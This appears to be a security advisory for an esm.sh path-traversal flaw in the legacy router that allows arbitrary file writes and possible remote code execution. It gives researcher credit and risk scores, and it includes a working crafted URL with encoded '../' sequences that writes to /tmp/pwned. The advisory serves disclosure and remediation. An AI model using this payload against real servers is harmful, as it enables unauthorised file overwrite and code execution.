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GHSA-3636-h3vx-6465

HighCVSS 8.7 / 10
Published May 12, 2026·Last modified Jun 9, 2026
Affected Components(0)

No affected components available

Description

Impact

  • Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction
    A crafted request is sent to the server:

    http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

  2. Proxy to Legacy Server
    The request is forwarded to:

    http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

    which resolves to:

    http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md

  3. File Retrieval
    The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  4. Path Normalisation & Storage
    The storage path derived from the request is:

    legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

    Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  5. Result
    By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.36%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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